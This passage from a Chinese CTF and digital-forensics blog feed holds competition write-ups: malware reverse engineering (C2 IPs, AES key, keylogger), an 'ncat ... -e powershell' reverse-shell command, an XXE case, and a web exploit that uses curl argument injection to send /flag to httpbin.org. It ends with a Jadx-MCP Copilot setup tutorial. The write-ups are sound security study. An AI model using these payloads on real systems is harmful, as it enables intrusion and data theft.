target="_blank">ZHANGXIN@XIAORANG.LA</a>B-&gt;FILESERVER.XIAORANG.LAB-&gt;XIAORANG.LAB</p><p>通过分析U盘附件中的BloodHound数据(20260407200233_BloodHound.zip)，还原了从ZHANGXIN到域控的完整攻击路径：</p><ol><li><p><a href="mailto:ZHANGXIN@XIAORANG.LAB" rel="noopener nofollow" target="_blank">ZHANGXIN@XIAORANG.LAB</a> 是 Account Operators 组成员</p></li><li><p>Account Operators 对 FILESERVER.XIAORANG.LAB 有 GenericAll 权限（可完全控制）</p></li><li><p>FILESERVER 的 PrimaryGroupSID 是 Domain Controllers(-516)，且属于 Enterprise Domain Controllers(S-1-5-9)</p></li><li><p>Domain Controllers 对域有 GetChangesAll 权限，Enterprise Domain Controllers 有 GetChanges 权限 → 组合实现 DCSync</p></li><li><p>早起王在PC中记录过自己的犯罪动机并对其进行加密，请使用社工的方式破解加密文件，并提交密码【答案格式:aabe3**】</p></li><li><p>早起王曾给倩倩发送过一封钓鱼邮件，请找到并计算附件MD5值【答案格式:字母不区分大小写】</p></li></ol><p>8172f0ac49a2742083571a34dcbfe772</p><p><img alt="取证比赛wp/assets/2026平航杯wp/a3f0a17d0111f72eb06a53b645b09e61_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-023-7d87ccd79b.png"/></p><ol start="54"><li>接上题，编译木马使用的.NET版本是多少？【答案格式:1.1.45141】</li></ol><p><strong>4.0.30319</strong></p><p>dnspy导出项目文件后丢给ai</p><ol><li><p>读取 <code>xWmDDA.csproj</code>：<code>&lt;TargetFrameworkVersion&gt;v4.0&lt;/TargetFrameworkVersion&gt;</code>，<code>ToolsVersion="4.0"</code></p></li><li><p>读取 <code>xWmDDA.sln</code>：Solution Format Version 11.00（Visual Studio 2010）</p></li><li><p>读取 <code>AssemblyInfo.cs</code>：伪装为 "Adobe Installer"，版本号 2.12.0.20（这是程序集自身版本，非 .NET 版本）</p></li></ol><p>结论</p><p>编译木马使用的 .NET 版本为 <strong>.NET Framework 4.0</strong>，完整版本号为 <strong>4.0.30319</strong></p><ol start="55"><li>接上题，木马中有多少反沙箱和反调试的检测逻辑？【答案格式:6】</li></ol><p>5</p><p>在入口函数 <code>AuPSZXXVSMF0DQRCvC2rt5MfcrYC48o7KO1SI69og2JLhf02Th6Xma2HOysY()</code> 中发现 <strong>5</strong> 个独立的反沙箱/反调试检测逻辑：</p><ol><li><p><strong>VM检测</strong>（反沙箱）— WMI查询检测 Hyper-V/QEMU/VirtualBox</p></li><li><p><strong>CheckRemoteDebuggerPresent</strong>（反调试）— 检测远程调试器附加</p></li><li><p><strong>Sandboxie检测</strong>（反沙箱）— GetModuleHandle("SbieDll.dll")</p></li><li><p><strong>Windows XP检测</strong>（反沙箱）— OS名称包含"xp"</p></li><li><p><strong>托管IP检测</strong>（反沙箱）— ip-api.com 查询是否为数据中心IP</p></li></ol><p>命中任一检测 → <code>Environment.FailFast(null)</code> 立即崩溃退出。</p><p>注：RtlSetProcessIsCritical 和 Process.EnterDebugMode 属于反终止/进程保护，不属于检测逻辑。</p><ol start="56"><li>接上题，木马为获得提升的权限执行而创建的计划任务名称是什么？【答案格式:Netlogon】</li></ol><p><code>WmiPrvSE</code></p><ol><li><p>在入口函数中找到 <code>schtasks /create /f /RL HIGHEST /sc minute /mo 1 /tn "..." /tr "..."</code></p></li><li><p>任务名称来自 <code>Path.GetFileNameWithoutExtension(EB5J4sIzfH74...)</code></p></li><li><p>该变量初始值为 <code>"sJHKF5x7kjxy85oLMym05A=="</code> (Base64 + AES-ECB 加密)</p></li><li><p>使用密钥 MD5("8xTJ0EKPuiQsJVaT") 扩展为 32 字节解密</p></li><li><p>解密结果: <code>WmiPrvSE.exe</code></p></li><li><p>GetFileNameWithoutExtension → <code>WmiPrvSE</code></p></li><li><p>接上题，木马使用哪种加密算法来加密或混淆其配置数据？【答案格式:BASE64】</p></li></ol><p>AES</p><p>配置数据解密函数位于 <code>yEA8oSg5e02FNWc6DpGE.f5Mo9y1FK1yJy4poW9CE()</code>:</p><ul><li><p>使用 <code>RijndaelManaged</code>（即 AES）ECB 模式</p></li><li><p>密钥: MD5("8xTJ0EKPuiQsJVaT") 扩展为 32 字节 (AES-256)</p></li><li><p>配置值以 Base64 编码存储，解密时先 Base64 解码再 AES-ECB 解密</p></li></ul><ol start="58"><li>接上题，为了获取其加密算法的某个参数，木马使用一个硬编码字符串作为输入，这个硬编码字符串的值是多少？【答案格式:uwbf4wNfw】</li></ol><p>8xTJ0EKPuiQsJVaT</p><p>在配置类 <code>NB2mi1...</code> 中定义了硬编码字符串：</p><pre><code class="language-Plain">DhMybcleyUJ8... = "8xTJ0EKPuiQsJVaT"</code></pre><p>解密函数中该字符串被传入 MD5 哈希函数，生成的摘要扩展为 32 字节作为 AES-256-ECB 的密钥。</p><ol start="59"><li>接上题，木马回连的ip地址有哪些？【答案格式:按照木马中原始的顺序写入,答案用,隔开,格式;114.114.114.114,8.8.8.8,1.1.1.1】</li></ol><p>156.238.239.253,66.175.239.149,185.117.249.43</p><ol><li><p>回连地址存储在 <code>NB2mi1...ZIDZvDLAFbRY...</code> 字段</p></li><li><p>初始值: <code>"b7lP9DKXK17yU4FBIMvdZYYT7q1ogMGVrgjUqWnzqLxMXw3GIeVZpids5gIz2YZu"</code></p></li><li><p>AES-256-ECB 解密后得到逗号分隔的IP列表</p></li><li><p>木马运行时随机选择一个IP进行连接</p></li><li><p>接上题，木马回连的C2通信端口是多少？【答案格式:11451】</p></li></ol><p>7000</p><p>配置字段 <code>PjOzPaAZem6Y...</code> 密文 <code>"3qBjH4yDUHjhZBxWK56eYw=="</code> 解密后为 <code>7000</code>。</p><ol start="61"><li>接上题，该木马通过将自身复制到可移动设备上来传播，在每个受感染设备上创建的新副本的名称是什么？【答案格式:dwm.exe】</li></ol><p><code>USB.exe</code></p><p>USB传播逻辑在 <code>VRti6vhPYugo...cs</code> 中：</p><ol><li><p>检测可移动驱动器 (DriveType.Removable)</p></li><li><p>将自身复制为 <code>&#123;盘符&#125;\USB.exe</code></p></li><li><p>设置 Hidden + System 属性隐藏文件</p></li><li><p>将原有文件/文件夹设为隐藏，创建同名 .lnk 快捷方式（先运行木马再打开原文件）</p></li></ol><p>配置字段 <code>s6qNUlBh1I6DXfxJ...</code> 密文 <code>"lXEVYeoDw31nYYF2ts9aUQ=="</code> 解密为 <code>USB.exe</code></p><ol start="62"><li>接上题，木马用来检测其是否在沙盒环境中运行的DLL的名称是什么？【答案格式:v50.dll】</li></ol><p><code>SbieDll.dll</code></p><p>在 <code>2roByDJH6Zwp...()</code> 函数中，使用 <code>GetModuleHandle("SbieDll.dll")</code> 检测 Sandboxie 沙箱环境。</p><p><code>SbieDll.dll</code> 是 Sandboxie 沙箱软件注入到受沙箱保护进程中的核心DLL。如果该DLL存在于当前进程中，说明程序正在 Sandboxie 沙箱中运行。</p><ol start="63"><li>接上题，木马操纵的用于控制Windows资源管理器中隐藏项目可见性的注册表项名称是什么？【答案格式:AAAabe3】</li></ol><p>ShowSuperHidden</p><p>在 USB 传播模块中，木马修改注册表：</p><ul><li><p>路径: <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code></p></li><li><p>键名: <code>ShowSuperHidden</code></p></li><li><p>操作: 将值从 1 改为 0（禁止显示受保护的操作系统文件）</p></li></ul><p>这使得设为 Hidden + System 属性的 USB.exe 在 Windows 资源管理器中不可见。</p><ol start="64"><li>接上题，木马使用哪个API将其进程标记为关键进程？【答案格式:WNetAddConnection】</li></ol><p>RtlSetProcessIsCritical</p><p>在 <code>ke48iewt5U3eoIMbjLCt.cs</code> 中：</p><pre><code class="language-Plain">[DllImport("NTdll.dll", EntryPoint = "RtlSetProcessIsCritical")]</code></pre><p>调用 <code>RtlSetProcessIsCritical(true, ...)</code> 将进程标记为系统关键进程。</p><ul><li><p>配合 <code>Process.EnterDebugMode()</code> 获取调试权限后调用</p></li><li><p>效果: 如果用户/杀软尝试终止该进程，系统将触发蓝屏(BSOD)</p></li></ul><ol start="65"><li>接上题，木马使用哪个API来捕获用户输入？【答案格式:WNetAddConnection】</li></ol><p>SetWindowsHookEx</p><p>在键盘记录模块 <code>kJx6L3azGytvvlpO5g4M...cs</code> 第175行：</p><pre><code class="language-C#">[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]</code></pre><p>木马使用 <code>SetWindowsHookEx</code> 安装低级键盘钩子（WH_KEYBOARD_LL），捕获用户所有按键输入并记录到日志文件。</p><ol start="66"><li>请分析倩倩的PC镜像，倩倩的电脑曾被api投毒过，请找出投毒后执行的恶意命令【答案格式:snd.exe 172.0.0.1 22-L be?16】</li></ol><p>ncat.exe 156.238.239.253 1314 -e powershell</p><p><img alt="取证比赛wp/assets/2026平航杯wp/f352ccc8acbe3152b86dfe50fa13ade9_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-024-dae6c9b7fc.png"/></p><ol start="67"><li>请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的进程标识符(PID)？【答案格式:123414】</li></ol><p><strong>10892</strong></p><p><img alt="取证比赛wp/assets/2026平航杯wp/070fb71af2082adcb7815359b08dcb67_MD5.png" loading="lazy" src="/blog/img/cnblogs/19863840/image-025-90486a12de.png"/></p><ol start="68"><li><p>请分析倩倩的PC内存镜像，请尝试解密微信数据库并写出message_0.db对应的微信密钥？【答案格式:60e248c9079f4bc14e256e0b65495e8688d7b342643de84a5f417f4097c9c792】</p></li><li><p>请分析倩倩的PC内存镜像，请找到正在运行的木马进程的进程标识符(PID)【答案格式:1233】</p></li></ol><p><strong>7348</strong></p><p>同上</p><ol start="70"><li>请分析倩倩的PC内存镜像，请找到正在运行的木马进程的创建时间(UTC)？【答案格式:2026-01-01 01:11:11】</li></ol><p><strong>2026-04-03 01:46:44</strong></p><ol start="71"><li>请分析倩倩的PC内存镜像，结合木马分析找出内存中回连的C2木马服务器的真实ip？【答案格式:127.0.0.1:8080】</li></ol><h3 id="1562382392537000"><code>156.238.239.253:7000</code></h3><h3 id="木马网络连接-pid-7348-haimuniu_vpn_c">木马网络连接 (PID 7348, Haimuniu_VPN_C)</h3><table><thead><tr><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>远程IP</td><td>端口</td><td>状态</td><td>时间</td><td>用途</td></tr><tr><td>208.95.112.1</td><td>80</td><td>CLOSE_WAIT</td><td>1:46:47</td><td>IP查询服务(侦察)</td></tr><tr><td>156.238.239.253</td><td>7000</td><td>SYN_SENT</td><td>1:48:06</td><td>C2回连</td></tr><tr><td>有幸得了第二，不得不感叹ai对于线上比赛的统治力，时代变了</td><td></td><td></td><td></td><td></td></tr></tbody></table></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/14/2026-04-14-cnblogs-19863840-2026%E5%B9%B3%E8%88%AA%E6%9D%AFwp/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/14/2026-04-14-cnblogs-19863840-2026%E5%B9%B3%E8%88%AA%E6%9D%AFwp/"/>
    <published>2026-04-14T02:30:00.000Z</published>
    <summary>分析早起王的手机，手机型号为？【答案格式:Xiaomi131*】 Pixel6 分析早起王的手机，早起王最近想旅行，结合高德地图搜索记录，他最可能去的景点是哪个？【答案格式:黄山】 西湖 分析早起王的手机，早起王在什么时间加上倩倩微信的？【答案格式:2025-08-18 07:09:19】 2026</summary>
    <title>2026平航杯wp</title>
    <updated>2026-04-14T02:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><h2 id="日志分析">日志分析</h2><p>某电商公司的后台服务器在昨晚凌晨遭遇了疑似自动化扫描和手动渗透攻击。安全团队捕获了当天的 <code>access.log</code> 文件，但面对数万条记录束手无策。作为应急响应专家，你需要分析提供的日志文件，找出攻击者成功利用漏洞的完整链条，并提取出攻击者最终窃取的核心数据（Flag）。</p><p><strong>结论</strong><br/>Flag 是 flag{8cb249d0-825b-7419-845b-1f29e00d53f4}。</p><p><strong>攻击链</strong><br/>时间点是 2026-03-23 13:19 UTC。<br/>先是自动化扫描：10.55.22.19 在 12001 (line 12001) 到 12065 (line 12065) 间连续探测 /admin、/.git/config、/backup.zip、/config.php.bak 等路径，UA 混用了 dirb、Nikto、sqlmap、Wget，这是典型目录和敏感文件枚举。</p><p>随后进入手工利用：192.168.10.84 用 python-requests/2.25.1 访问登录页 12066 (line 12066)，紧接着在 12067 (line 12067) 对 register.php 提交了带 DOCTYPE 和 ENTITY 的 user_xml_format，核心载荷是 file:///flag，说明利用点是 XXE，本地目标文件是 /flag。</p><p><strong>取证还原</strong><br/>后续请求把泄露内容拆成多段 base64，伪装成图片名或 img= 参数回收，关键行是：<br/>12068 (line 12068) 12074 (line 12074) 12075 (line 12075) 12076 (line 12076) 12077 (line 12077) 12078 (line 12078) 12079 (line 12079) 12080 (line 12080) 12081 (line 12081) 12082 (line 12082) 12090 (line 12090) 12091 (line 12091) 12092 (line 12092) 12093 (line 12093)。</p><p>按时间顺序解码为：<br/>Zmxh -&gt; fla<br/>Z3s4 -&gt; g{8<br/>Y2Iy -&gt; cb2<br/>NDlk -&gt; 49d<br/>MC04 -&gt; 0-8<br/>MjVi -&gt; 25b<br/>LTc0 -&gt; -74<br/>MTkt -&gt; 19-<br/>ODQ1 -&gt; 845<br/>Yi0x -&gt; b-1<br/>ZjI5 -&gt; f29<br/>ZTAw -&gt; e00<br/>ZDUz -&gt; d53<br/>ZjR9 -&gt; f4}</p><p>拼接后得到：<br/>flag{8cb249d0-825b-7419-845b-1f29e00d53f4}</p><h2 id="近在咫尺">近在咫尺</h2><p>这题利用点是 q = next_prime(p + 0x2B67)，所以 p 和 q 非常接近。实际分解出来两者相差 11120，属于典型近质数 RSA，直接用接近平方根的方法就能恢复私钥并解密。</p><p>flag{fermat_can_break_close_primes}</p><h2 id="cloudpulse">CloudPulse</h2><p>这题是一个前后端分离的 Web 题，附件里有两个核心文件：main.py 和 server.go。前端 /api/probe 会接收 JSON，把键名统一转小写后，强制写入 ops=httpcheck 再转发给后端 /api/monitor。正常看起来只能做一个 HEAD 探测。</p><p>真正的突破点在前后端对 JSON 字段名的处理不一致。Flask 这边会把键名做普通 lower()，而 Go 的 encoding/json 在匹配结构体字段时会做 Unicode case folding。于是我们可以构造一个看起来不是 ops、但 Go 仍会当作 Ops 的键，比如 opſ，这里最后一个字符是 ſ。这样前端会保留它，后端解析时它又会覆盖掉前端补进去的 ops=httpcheck，把操作切回危险的 fetch。验证时可以直接请求：</p><p><code>POST /api/probe HTTP/1.1 Host: web-891676eb85.adworld.xctf.org.cn Content-Type: application/json &#123;"target":"http://example.com","ops":"httpcheck","opſ":"fetch"&#125;</code></p><p>如果成功，返回的就不再是 Status: 200 OK 这类摘要，而会变成 example.com 的完整 HTML，说明我们已经进入了后端 performFetch()。</p><p>接下来利用 performFetch() 里的参数注入。后端代码会把 target 做 strings.Fields(target) 后直接追加到 curl 参数数组里，因此只要在 URL 后面加空格，就能拼接额外的 curl 参数。题目里虽然过滤了 -o、-O、file:// 等危险字样，但没有过滤 -F。于是可以让 curl 先访问一个合法 URL，再把本地文件作为 multipart 表单上传到外部回显站点。为了先验证链路，我先打了一个无害文件：</p><p><code>&#123;"target":"http://127.0.0.1:8080/health -F x=@/etc/hostname https://httpbin.org/post","ops":"httpcheck","opſ":"fetch"&#125;</code></p><p>返回结果里 files.x 成功出现了主机名，说明参数注入和出网都成立。最后把 /etc/hostname 换成 /flag 即可：</p><p><code>POST /api/probe HTTP/1.1 Host: web-891676eb85.adworld.xctf.org.cn Content-Type: application/json &#123;"target":"http://127.0.0.1:8080/health -F x=@/flag https://httpbin.org/post","ops":"httpcheck","opſ":"fetch"&#125;</code></p><p>响应里可以直接看到：</p><p><code>"files": &#123; "x": "flag&#123;dGCgj4N36wlZ1DiIRhBq6kbJVv8XwtUk&#125;\n" &#125;</code></p><p>所以最终 flag 是：</p><p><code>flag&#123;dGCgj4N36wlZ1DiIRhBq6kbJVv8XwtUk&#125;</code></p><h2 id="securevault">SecureVault</h2><p>成功提取到 flag：</p><p><strong><code>flag&#123;Ant1_Dbg_CBC_Fl4tten3d_M4st3r!&#125;</code></strong></p><p><strong>Master Key</strong>: <code>e7ea34917ca596eb5ebb9c66dfdba8dc</code></p><p>解题关键步骤回顾：</p><ol><li>APK 中的 <code>libnative_crypto.so</code> (x86_64) 包含 <code>nativeVerify</code> JNI 函数</li><li>验证算法为 <strong>F = F3(F2(F1(x)))</strong>：F1=S-box 替换，F2=64 位置换，F3=改进 TEA（XOR 模式，8 半轮）</li><li><strong>INIT_ARRAY</strong> 中 3 个初始化函数修改了 S-box、XOR 常量（变为 <code>deadbeefcafebabe</code>）和 TEA 密钥</li><li>通过 F_inv 反推密钥，再经过 4 轮 SP 密码（cl 每次递增 14）和掩码 XOR 得到 flag</li></ol></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/12/2026-04-12-cnblogs-19854994-2026%E6%95%B0%E5%AD%97%E4%B8%AD%E5%9B%BD%E4%B8%AA%E4%BA%BA%E8%B5%9B/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/12/2026-04-12-cnblogs-19854994-2026%E6%95%B0%E5%AD%97%E4%B8%AD%E5%9B%BD%E4%B8%AA%E4%BA%BA%E8%B5%9B/"/>
    <published>2026-04-12T04:45:00.000Z</published>
    <summary>
      <![CDATA[日志分析 某电商公司的后台服务器在昨晚凌晨遭遇了疑似自动化扫描和手动渗透攻击。安全团队捕获了当天的&#160;access.log&#160;文件，但面对数万条记录束手无策。作为应急响应专家，你需要分析提供的日志文件，找出攻击者成功利用漏洞的完整链条，并提取出攻击者最终窃取的核心数据（Flag）。]]>
    </summary>
    <title>2026数字中国个人赛</title>
    <updated>2026-04-12T04:46:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="技术" scheme="https://joyooosama.github.io/blog/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>传统 Android 逆向分析常常需要在 Jadx (反编译工具) 和各种笔记/编辑器之间来回切换。随着大模型和 MCP（Model Context Protocol，模型上下文协议）的普及，我们现在可以直接在 <strong>VS Code</strong> 中，通过自然语言让 <strong>GitHub Copilot</strong> 远程调用 Jadx 来帮我们反编译、搜索代码、甚至直接分析出加密算法和 Flag！</p><p>这篇博客将手把手教你如何搭建这套工作流。</p><h2 id="一前期准备下载并运行-jadx-mcp-插件">一、前期准备：下载并运行 Jadx-MCP 插件</h2><p><code>jadx-mcp</code> 是一个桥接服务，它通过在本地启动一个 Python 或 Java 服务器，将 Jadx 的 API（例如获取 Class 源码、搜索关键词、获取 AndroidManifest）暴露给外部大模型客户端（如 VS Code 中的 Copilot 或 Cline）。</p><h3 id="1-软件环境">1. 软件环境</h3><ul><li><strong>安装 Java (JDK 11+)</strong>：用于运行 Jadx 本体。</li><li><strong>安装 Python (3.10+)</strong>：MCP 桥接服务通常基于 Python (FastMCP) 构建。</li><li><strong>下载 Jadx-MCP 服务包</strong>：获取对应的 <code>jadx-mcp-server-vX.X.X.zip</code> 以及 Jadx 本体（部分封装版直接将它作为 Jadx 插件发布，如 <code>jadx-ai-mcp-x.x.x.jar</code>）。</li></ul><h3 id="2-初始化核心依赖-python端">2. 初始化核心依赖 (Python端)</h3><p>如果你拿到的 <code>jadx-mcp</code> 是一个带有 <code>jadx_mcp_server.py</code> 的解压包，你需要先在终端为其安装环境依赖。</p><p>打开命令行（以刚才的解压目录为例）：</p><pre><code># 激活你的 Python 环境 (如果你有虚拟环境)# 必须安装 fastmcp 及其网络依赖包pip install pydantic fastapi httpx "fastmcp&gt;=3.0.2" -U</code></pre><blockquote><p><strong>排坑避坑</strong>：如果你使用的是 <code>java -jar jadx-ai-mcp.jar</code> 遇到 <code>no main manifest attribute</code> 闪退报错，请务必确认该 jar 文件只是个由 Jadx GUI 挂载的插件（默认在 8650 端口通信）。<strong>你实际需要让 Copilot 运行的是那个 <code>.py</code> 的桥接服务端脚本。</strong></p></blockquote><h2 id="二配置-vs-code将-jadx-注册进-copilot-大脑">二、配置 VS Code：将 Jadx 注册进 Copilot 大脑</h2><p>GitHub Copilot 及同类 AI 插件（如 Claude Dev/Roo Code）都是通过读取 VS Code 的全局 <a target="_blank">mcp.json</a> 配置文件来加载外部工具的。我们需要将 Jadx 服务手动注入其中。</p><h3 id="1-修改全局-mcp-配置文件">1. 修改全局 MCP 配置文件</h3><p>找到并打开你的 VS Code <a target="_blank">mcp.json</a> 文件。</p><ul><li><strong>Windows 路径</strong>：<code>C:\Users\&lt;你的用户名&gt;\AppData\Roaming\Code\User\mcp.json</code></li><li><strong>macOS 路径</strong>：<code>~/Library/Application Support/Code/User/mcp.json</code></li></ul><p><em>(如果该文件不存在，新建一个即可)</em></p><h3 id="2-注入-jadx-mcp-节点配置">2. 注入 jadx-mcp 节点配置</h3><p>在 <code>"servers"</code> JSON 对象中，新增 <code>jadx-mcp</code> 的配置。以下是经过实测的完美跑通配置（请注意<strong>将路径替换为你本地真实的 Python 路径和服务脚本路径</strong>）：</p><pre><code>&#123;  "servers": &#123;    "jadx-mcp": &#123;      "isActive": true,      "command": "D:\\Programs\\Python\\Python310\\python.exe",      "args": [        "D:\\Programs\\Android Reverse\\jadx-mcp\\jadx-mcp-server-v6.2.0\\jadx-mcp-server\\jadx_mcp_server.py"      ],      "timeout": 1800,      "disabled": false,      "autoApprove": [        "fetch_current_class",        "get_selected_text",        "get_method_by_name",        "get_all_classes",        "get_class_source",        "search_method_by_name",        "get_methods_of_class",        "search_classes_by_keyword",        "get_fields_of_class",        "get_smali_of_class",        "get_manifest_component",        "get_android_manifest",        "get_strings",        "get_all_resource_file_names",        "get_resource_file",        "get_main_application_classes_names",        "get_main_application_classes_code",        "get_main_activity_class",        "get_xrefs_to_class",        "get_xrefs_to_method",        "get_xrefs_to_field"      ],      "alwaysAllow": [        "fetch_current_class",        "get_selected_text",        "get_method_by_name",        "get_all_classes",        "get_class_source",        "search_method_by_name",        "get_methods_of_class",        "search_classes_by_keyword",        "get_fields_of_class",        "get_smali_of_class",        "get_manifest_component",        "get_android_manifest",        "get_strings",        "get_all_resource_file_names",        "get_resource_file",        "get_main_application_classes_names",        "get_main_application_classes_code",        "get_main_activity_class",        "get_xrefs_to_class",        "get_xrefs_to_method",        "get_xrefs_to_field"      ],      "name": "jadx-mcp"    &#125;  &#125;&#125;</code></pre><blockquote><p><em><strong>设定说明</strong></em>：<code>autoApprove</code> / <code>alwaysAllow</code> 列表里的工具名（如 <code>get_class_source</code> 等）意味着 Copilot 在调用 Jadx 拉取代码时，不需要每次都弹窗要求你手动点击“Allow”。这是实现自动化行云流水体验的关键。</p></blockquote><h3 id="3-重启-vs-code-生效">3. 重启 VS Code 生效</h3><p>配置写完毕后，必须要<strong>重启 VS Code</strong>。<br/>可以直接使用快捷键 <code>Ctrl+Shift+P</code> -&gt; 输入 <code>Reload Window</code> (重新加载窗口)。</p><hr/><h2 id="三神力初现实战应用体验">三、神力初现：实战应用体验</h2><p>配置完成后，Jadx 强大的逆向功能就已经内化进 Copilot 里了。</p><h3 id="工作流协同演示">工作流协同演示：</h3><ol><li><strong>获取应用样本</strong>：从雷电模拟器或手机中提取出待分析的 APK 文件，用运行着 MCP 插件的 Jadx-GUI 将其打开。</li><li><strong>呼唤 AI</strong>：在 VS Code 打开 Copilot Chat，你可以像跟专业逆向工程师对话一样发送指令了。</li></ol><p>转载请注明来源 <a href="https://www.cnblogs.com/Joyooo" target="_blank">Joyooo</a>！</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/09/2026-04-09-cnblogs-19842866-%E6%95%99%E7%A8%8B%EF%BC%9A%E7%94%A8-VS-Code-%E4%B8%8E-GitHub-Copilot-%E7%BB%93%E5%90%88-Jadx-MCP-%E6%89%93%E9%80%A0%E8%B6%85%E5%BC%BA-Android-AI-%E9%80%86%E5%90%91%E5%B7%A5%E4%BD%9C%E6%B5%81/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/09/2026-04-09-cnblogs-19842866-%E6%95%99%E7%A8%8B%EF%BC%9A%E7%94%A8-VS-Code-%E4%B8%8E-GitHub-Copilot-%E7%BB%93%E5%90%88-Jadx-MCP-%E6%89%93%E9%80%A0%E8%B6%85%E5%BC%BA-Android-AI-%E9%80%86%E5%90%91%E5%B7%A5%E4%BD%9C%E6%B5%81/"/>
    <published>2026-04-09T11:38:00.000Z</published>
    <summary>
      <![CDATA[传统 Android 逆向分析常常需要在 Jadx (反编译工具) 和各种笔记/编辑器之间来回切换。随着大模型和 MCP（Model Context Protocol，模型上下文协议）的普及，我们现在可以直接在&#160;VS Code&#160;中，通过自然语言让&#160;GitHub Copi]]>
    </summary>
    <title>教程：用 VS Code 与 GitHub Copilot 结合 Jadx-MCP 打造超强 Android AI 逆向工作流</title>
    <updated>2026-04-09T11:39:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="生活" scheme="https://joyooosama.github.io/blog/tags/%E7%94%9F%E6%B4%BB/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>检材容器密码: <code>ENj5MWKOu7tN80uDnRbzb2C409gWpdI#@zLutPdqGGtt-XRt$_$%7i=)5xlbFzF*</code> 容器 MD5: <code>e4ad1b21e6e818529998869ec352134b</code></p><p>难程序之剖析兮，服务器未竟全功。<br/>心力摧而神疲兮，辗转煎熬意难通。<br/>硬件局促难堪兮，唯双虚机次第启封。<br/>步履迟而卡顿兮，帧如幻灯片影朦胧。<br/>博彩站点初成兮，双机倾颓顷刻崩。<br/>意倦倦欲停求索兮，暂且收束罢此征程。<br/>忆彼 ESXi 之规兮，一十六吉内存为宗。<br/>嗟吾身之匮乏兮，仅携三二吉数相从。<br/>竭极限之殚力支撑兮，三台孤悬勉自持穷。<br/>更忧 VSAN 高悬兮，如山重压惊破心胸。<br/>困算力之桎梏兮，叹实操之路千折万重。<br/>心期扩容纾艰危兮，价翻倍望而意冷成空。</p><p><img alt="assets/2025盘古石杯决赛/file-20260327212911828.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-001-b385572071.png"/></p><p><strong>HarmonyOS 手机</strong></p><ol><li>打网球定的日期是?<br/>3月3日<br/><img alt="assets/2025盘古石杯决赛/file-20260309192458201.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-002-ee555a8ba4.png"/></li><li>哪个浏览器搜索过鸿蒙开发教程?<br/>UC浏览器<br/><img alt="assets/2025盘古石杯决赛/file-20260309192637102.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-003-6c5cac6ba1.png"/></li><li>记录服务器信息的笔记软件名称是?<br/><img alt="assets/2025盘古石杯决赛/file-20260309193758352.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-004-d5adc337e0.png"/></li></ol><p><img alt="assets/2025盘古石杯决赛/file-20260309193813072.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-005-6841cff500.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260309193826290.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-006-5da05ed2ca.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260309193833693.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-007-3bb04bf1db.png"/><br/>不认识笔记软件导致的，喂给ai<br/><img alt="assets/2025盘古石杯决赛/file-20260309195245840.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-008-9355230942.png"/><br/>思源笔记<br/>4. 接上题, 笔记软件记录的 ip 地址一共几个?<br/>5<br/><img alt="assets/2025盘古石杯决赛/file-20260309201001623.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-009-d9ec90b925.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260309201012330.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-010-51d52e9a30.png"/></p><ol start="5"><li>接上题, DC 服务器用户名 administrator 的密码是?<br/>接上题，看到DC服务器对应ip后，正则搜administrator，看到对应记录<br/><img alt="assets/2025盘古石杯决赛/file-20260309205105710.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-011-5024b819d4.png"/><br/>3w.panguite</li></ol><p><strong>iOS 手机</strong></p><ol><li>手机的型号?<br/>iPhone 13 Pro<br/><img alt="assets/2025盘古石杯决赛/file-20260309184209366.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-012-ef98b89f01.png"/></li><li>手机的 iOS 系统版本是?<br/>16.3.1<br/><img alt="assets/2025盘古石杯决赛/file-20260309184238886.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-013-e6171236f2.png"/></li><li>手机的 IMEI 是?<br/>352507504392612, 